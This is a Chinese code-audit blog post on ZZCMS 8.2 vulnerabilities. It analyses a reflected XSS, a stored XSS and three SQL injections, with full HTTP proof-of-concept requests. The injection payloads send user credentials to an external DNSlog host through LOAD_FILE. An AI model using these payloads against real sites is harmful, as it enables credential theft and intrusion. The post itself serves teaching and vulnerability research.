stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞
0x00 **背景**
本周,分析了下zzcms8.2的源码,发现了蛮多问题的,觉得这个源码适合萌新们练手或入坑PHP的代码审计,发出一些我发现的问题,当然这个源码还有很多问题,本篇仅对部分漏洞进行分析,至于如何GetShell我会在下周分享出我的方法。期待与师傅们的交流讨论。
0x01 **审计过程**
XSS**相关问题**
0x00 **相关环境**
源码信息:ZZCMS 8.2问题文件:\zzcms\zzcms8.2\install\step_6.php漏洞类型:反射型XSS站点地址:
0x01 **漏洞分析**
在\zzcms\zzcms8.2\install\step_6.php中的第10-11行中得到如下代码块。
因为\zzcms\zzcms8.2\install\index.php文件的第8-9行中使用了注册变量的操作。
且在\zzcms\zzcms8.2\install\index.php文件的第123行中包含了\zzcms\zzcms8.2\install\step_6.php文件。
因此从注册变量再到输出整个数据的传递过程没有做任何的安全处理,所以存在反射型XSS等攻击。
0x02 **漏洞复现**
进行如下请求,便可以触发JS代码。POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Referer: [http://127.0.0.1/install/index.php](http://127.0.0.1/install/index.php)
Cookie: ECS[visit_times]=4; ECS_ID=0c10cf200fe52e4044f277d2a4fb4391514db71d; ECSCP_ID=946e425af3501b9e1b2d360a76b2cffa0f44f617; PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43
Connection: close
Upgrade-Insecure-Requests: 1
admin=admin&adminpwdtrue=admin&step=6
1x00 **相关环境**
源码信息:ZZCMS 8.2问题文件:\zzcms\zzcms8.2\zx\show.php漏洞类型:存储型XSS漏洞站点地址:
1x01 **漏洞分析**
首先分析输入位置:在\zzcms\zzcms8.2\user\zxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。
在\zzcms\zzcms8.2\user\zxsave.php文件的第3行中包含了/inc/conn.php文件,
然后在\zzcms\zzcms8.2\inc\conn.php文件中包含了/inc/stopsqlin.php文件。
在\zzcms\zzcms8.2\inc\stopsqlin.php文件中的第6-13行,对传入的数据的字符进行了实体化和转义处理。
因此编辑资讯操作存在数据库中是以关键符号实体化和转义后存入。
然后分析输出位置:在\zzcms\zzcms8.2\zx\show.php文件中的第36-40行中从数据库中取出数据,然后对content列做stripfxg处理。
跟入stripfxg方法,在\zzcms\zzcms8.2\inc\function.php文件的第577行发现该方法,分析该方法知道是对传入的数据进行实体化和转义的还原操作,因此content列的数据经过该方法的处理后,便还原为原本的字符串。
最后在155-181行中的代码是调用showcontent和Payjf等方法,将数据输出到页面上,但是也没有对一些危险字符进行安全处理,所以此处存在存储型XSS。
类似的问题该源码还存在许多位置,大家可以自行发现。
1x02 **漏洞复现**
注册普通会员后,登陆到个人中心进行发资讯操作。
然后进行如下操作,将payload存入到数据库中。
发布后访问该资讯便会触发XSS。
当然也可直接进行如下操作,将payload存入数据库,然后再访问资讯触发XSS。POST /user/zxsave.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Referer: [http://127.0.0.1/user/zxmodify.php?id=5](http://127.0.0.1/user/zxmodify.php?id=5)
Cookie: bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
bigclassid=0&smallclassid=0&title=1&link=&laiyuan=zzcms&content=%3Cimg+onerror%3D%22alert%601%60%22+src%3D%220%22+%2F%3Eaaaaaaaaaaa&keywords=1&description=&groupid=0&jifen=0&Submit=%E5%8F%91+%E5%B8%83&id=5&editor=Thinking&page=1&action=modify
SQL**注入问题:**
0x00 **相关环境**
源码信息:ZZCMS 8.2问题文件:\zzcms\zzcms8.2\inc\function.php漏洞类型:SQL注入漏洞站点地址:
0x01 **漏洞分析**
在\zzcms\zzcms8.2\user\check.php文件的第19行中,在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL中
跟入getip方法,在\zzcms\zzcms8.2\inc\function.php文件中的第100行发现代码块,通过分析该方法,发现并没有对传入的IP进行合规判断,又将方法的结果返回到调用的位置,所以此处存在SQL注入,经过分析发现有多处使用了getip方法与数据进行拼接,所以还有许多漏洞等待挖掘。
而getip方法被使用的位置也是有很多处,大家也可自行发现其他位置的安全问题。
0x02 **漏洞复现**
进行如下请求,注入的位置在client-ip,由于数据没有进行回显,所以可以利用DNSlog或者盲注获取数据。POST /user/logincheck.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Referer: [http://127.0.0.1/user/login.php](http://127.0.0.1/user/login.php)
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018
client-ip:127.0.0.9'and (select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#
Connection: close
Upgrade-Insecure-Requests: 1
username=Thinking&password=thinkingpwd&yzm=33&fromurl=http%3A%2F%2F127.0.0.1%2F&Submit=%E7%99%BB+%E5%BD%95
进行如上请求后查看dnslog可以看到返回的结果,对结果进行unhex可以得到明文信息。
1x00 **相关环境**
源码信息:ZZCMS 8.2问题文件:\zzcms\zzcms_xm8.2\user\del.php漏洞类型:SQL注入漏洞站点地址:
1x01 **漏洞分析**
在\zzcms\zzcms8.2\user\del.php文件的第138-141行中,当$tablename不满足if和elseif 的条件的时候,便会进入到如下代码块。
因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。
1x02 **漏洞复现**
注册用户后等,然后进行如下请求,由于tablename参数的传入会经过/inc/stopsqlin.php文件进行处理,且此处是属于盲注,可以使用DNSlog获取数据,然后在将字符进行16进制编码,避免使用引号引入。POST /user/del.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Referer: [http://127.0.0.1//user/zxmanage.php](http://127.0.0.1//user/zxmanage.php)
Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=3a923a7d00ee3e041d018b2708ee9994
Connection: close
Upgrade-Insecure-Requests: 1
id%5B%5D=1&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zxmanage.php%3Fpage%3D1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))#
进行如上请求后可以在dnslog上获取到数据。
2x00 **相关环境**
源码信息:ZZCMS 8.2问题文件:\zzcms\zzcms8.2\user\msg.php漏洞类型:SQL注入漏洞站点地址:
2x01 **漏洞分析**
在\zzcms\zzcms8.2\user\msg.php文件中的第29-36行中,使用了stripfxg方法对POST传入的info_content参数的值进行处理,虽然该源码会对传入的参数的值进行实体化和转义处理,但是此处由于使用stripfxg方法会还原为原本的数据,因此可以引入单引号,所以存在SQL注入漏洞。
2x02 **漏洞复现**
进行如下请求,然后可以在DNSlog上获取到数据。POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Referer: [http://127.0.0.1/user/msg.php?action=modify&id=1](http://127.0.0.1/user/msg.php?action=modify&id=1)
Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
0x02 **小结**
本篇列举了ZZCMS8.25版本的 XSS与SQL注入的问题,大家如果有发现其他方法好玩的洞也欢迎与我一同聊聊thinking_balabala@163.com,期待与师傅们的各种讨论,期待交流下周的GetShell方法吧。
stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞相关推荐
- Android股票app模拟同花顺,适合练手的Android项目
本项目是一款Android股票app软件,模拟同花顺,高仿微信九宫格图片浏览和Activity滑动返回,使用Volley网络请求和MVP框架 ,PullToRefreshRecyclerView.自定 ...
- 分析绕过一款适合练手的云WAF
X-WAF是一款使用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. 0x01 环境搭建 官 ...
- part1:推荐一些适合练手、课程设计、毕业设计的python小项目源码,无任何下载门槛
人生苦短,我用python,随着python这些年的流行,很多人开始使用python来实现各种功能.下面推荐一些适合用来练手.大学生课程设计作业.大学生毕业设计的python小项目,尤其适合新手,源码 ...
- java 适合练手的java项目
Java作为一门古老的语言,已有20年左右的历史,这在发展日新月异的技术圈可以说是一个神话. 虽然不少人曾抱怨Java语言就像老太太的裹脚布,又臭又长,有时写了500行都不能表达程序员的意图. 但从市 ...
- 软件测试分享15个适合练手的项目【金融/银行/商城/电商/医药......】
还愁没有练手的项目?我已经给你准备好了,需要评论区留下你的想法吧 1.引言 1.1 文档版本 版本 作者 审批 备注 V1.0 XXXX 创建测试方案文档 1.2 项目情况 项目名称 XXX 项目版本 ...
- 有哪些适合练手的爬虫小项目?
点击上方蓝色字体,星标公众号 我们正在发起一场公益活动: 无私帮助大家解决难题,真正解决的那种! 问答起飞 如果你平时遇到任何困扰你已久的问题,可以加群,告诉我们,统一记录到<QA>表中. ...
- python小游戏编程实例-10分钟教你用Python写一个贪吃蛇小游戏,适合练手项目
另外要注意:光理论是不够的.这里顺便总大家一套2020最新python入门到高级项目实战视频教程,可以去小编的Python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,还可以跟老司机交 ...
- 简单且有创意的python作品_适合练手的 14 个Python 小项目,趣味十足!
掌握一门技术,迅速提升能力,最好方法是通过实践项目,最好是完整且有趣的.分享一本,我认为非常不错的书籍,<Python Playground>,这本书每个章节就是一个完整的小项目. ...
- 用Python打造属于自己的“今日头条” | 一个非常适合练手的全栈项目
项目简介 通过抓取微信文章和今日头条新闻,仿照今日头条,打造一个自己的今日头条 基本思路 新闻下载 -> 新闻存储 -> 新闻展示 抓取源: 今日头条app新闻 https://lf.sn ...
最新文章
- WPF 动画显示控件
- 【转】POJ-2104(K-th Number 划分树)
- 【Android压力测试】monkey压力测试
- php面向对象引用文件,PHP面向对象之对象和引用
- java 获取文件所在的文件夹_带你0基础编写一个Java小程序,领略Java程序从编写到编译再到运行的全流程...
- 华为主题包hwt下载_华为EMUI系统主题文件hwt修改及制作详细教程
- 1028 人口普查 (Python实现)
- cdr添加节点快捷键_cdr怎么添加节点 在CDR X8怎么给曲线添加节点图文教程
- 垃圾工作还不如伺候一个渣男!!!
- VMWare安装Kali Linux(4-4)
- 开关电源-TL431与光耦组成的电压反馈电路-TL431工作过程分析
- 输入2个整数,求最大公约数和最小公倍数
- VR自行车骑行系统方案,提供沉浸式骑行体验!
- 入坑 docsify,一款神奇的文档生成利器!
- 树莓派3B + Pi摄像头(Raspberry Pi)配置流程
- 华为近场通讯nfc在哪里打开_华为手机nfc功能怎么开
- 哈工大计算机博士税后工资+副业月入3W+的经验宝典都总结到这几个公众号了
- java park unpark
- Python 入门指南 [闲聊]
- linux查看kafka版本号